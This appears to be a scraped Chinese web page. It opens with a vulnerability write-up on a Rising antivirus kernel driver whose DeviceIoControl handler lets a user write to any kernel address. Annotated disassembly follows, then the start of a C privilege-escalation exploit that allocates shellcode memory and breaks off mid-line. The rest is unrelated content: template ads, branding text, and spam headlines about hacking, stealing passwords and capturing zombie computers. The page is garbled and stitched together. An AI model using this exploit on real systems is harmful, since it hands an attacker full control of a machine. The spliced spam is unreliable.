近期在发现symtdi权限提升的漏洞的基础上,对瑞星的驱动程序也进行分析,发现也存在问题,由于驱动程序中处理 IRP_MJ_DEVICE_CONTROL例程没有检查用户传入的缓冲区地址的合法性,造成任意内核地址可写的漏洞,用户可以发送恶意的DeviceIoControl的来完全的控制计算机。请看以下汇编片段:; int __stdcall sub_10ABE(int,PIRP Irp).text:00010ABE sub_10ABE proc near ; DATA XREF: start+2Co.text:00010ABE.text:00010ABE Irp = dword ptr 0Ch.text:00010ABE.text:00010ABE push ebp.text:00010ABF mov ebp, esp.text:00010AC1 mov edx, [ebp+Irp].text:00010AC4 push ebx.text:00010AC5 push esi.text:00010AC6 push edi.text:00010AC7 mov edi, [edx+60h] ; 这里为了效率,依然使用METHOD_NEITHER这种方式进行数据传输 .text:00010ACA mov eax, 220023h.text:00010ACF mov ecx, [edi+0Ch].text:00010AD2 cmp ecx, eax.text:00010AD4 ja loc_10C09.text:00010AD4.text:00010ADA jz loc_10BFB.text:00010ADA.text:00010AE0 mov eax, ecx.text:00010AE2 sub eax, 220007h.text:00010AE7 jz loc_10B6D ;这里存在比较严重的问题....... loc_10B6D:; CODE XREF: sub_10ABE+29j.text:00010B6D mov ax, es.text:00010B70 mov word_1329C, ax.text:00010B76 mov ax, ds.text:00010B79 mov word_1329A, ax.text:00010B7F mov ecx, [edi+8] ; 长度.text:00010B82 mov esi, [edi+10h] ; esi = irpSp->Type3InputBuffer.text:00010B85 mov eax, ecx.text:00010B87 mov edi, offset unk_13080 ; 这里也没有检查输入的缓冲区的; 长度,可以对静态数据区进行溢;出, 不过你往下看你会更兴奋.text:00010B8C shr ecx, 2.text:00010B8F rep movsd.text:00010B91 mov ecx, eax.text:00010B93 mov eax, P.text:00010B98 xor ebx, ebx.text:00010B9A and ecx, 3.text:00010B9D cmp eax, ebx.text:00010B9F rep mov *** .text:00010BA1 jz loc_10CA7.text:00010BA1.text:00010BA7 push eax ; Buffer.text:00010BA8 push offset unk_13099 ; FileHandle.text:00010BAD call sub_10414.text:00010BAD.text:00010BB2 test al, al.text:00010BB4 jnz short loc_10BC7.text:00010BB4.text:00010BB6 mov eax, [ebp+Irp].text:00010BB9 mov eax, [eax+3Ch] ; eax = irp->UserBuffer.text:00010BBC mov dword ptr [eax], 1 ; eax所指向的地址被写入了1.text:00010BC2 jmp loc_10CA7 到此我们已经看清楚了这个漏洞的成因,也看到了利用 *** ,和之前的symtdi的利用 *** 基本一样. #include#include #pragma comment (lib, "ntdll.lib") typedef LONG NTSTATUS; #define STATUS_SUCCESS ((NTSTATUS)0x00000000L)#define STATUS_INFO_LENGTH_MI *** ATCH ((NTSTATUS)0xC0000004L) typedef struct _IMAGE_FIXUP_ENTRY { WORD offset:12;WORD type:4;} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY; typedef struct _UNICODE_STRING { USHORT Length;USHORT MaximumLength;PWSTR Buffer;} UNICODE_STRING, *PUNICODE_STRING; extern "C"NTSTATUSNTAPINtAllocateVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN ULONG ZeroBits,IN OUT PULONG AllocationSize,IN ULONG AllocationType,IN ULONG Protect); int main(int argc, char* argv[]){NTSTATUS status;HANDLE deviceHandle;DWORD dwReturnSize = 0;PVOID VdmControl = NULL;PVOID p = NULL; PVOID ShellCodeMemory = (PVOID)0x1;DWORD MemorySize = 0x1000; PROCESS_INFORMATION pi;STARTUPIN
模板特色:响应式(可以自适应电脑、手机、平板终端)、可视化编辑、颜色可以自行调整、开发源代码、可安装到自己的服务器、全站内置SEO机制 系统后台: 建站教程: 米拓建站“高端、快速、开源”的...
品牌的重要性一般只是在宣传上,可是在实际操纵中,品牌并不是企业的第一存眷点。跟着流传渠道和用户的变革,只靠营销去打造品牌,是不切实际的。 对付大大都企业来说,“品牌”这个词是很虚的对象,经常是口头上...
网络黑客如何放病原体 抓肉鸡违法犯罪吗(抓肉鸡专用工具) 网络黑客如何微信注册账户密码 私彩是出奖数据信息哪儿来(私彩网站) 电脑上被网络黑客立即锁机该怎么办 如何找黑客的联...
“大列巴文学类”忽然在微博上爆火,网络喷子们都一脸懵逼,大列巴并不是是乌克兰的一种吐司面包的名字么,为何忽然就在互联网容易上火起来了,有关大列巴文学是什么梗什么意思 大列巴文学类梗的出處是啥?下边我...
本文目录一览: 1、什么软件可以远程控制电脑 2、现在有什么远程控制软件比较好用而又简单点的???? 3、最好用的远程控制软件有哪些? 什么软件可以远程控制电脑 手机控制电脑可以用TeamV...
本文导读目录: 1、可恶的黑客是怎样盗取他人密码和电脑信息的? 2、黑客是怎么把银行卡跟密码破解的? 3、如何破解黑客给电脑设的密码 4、黑客一般是通过什么来盗取网络游戏帐号密码的?...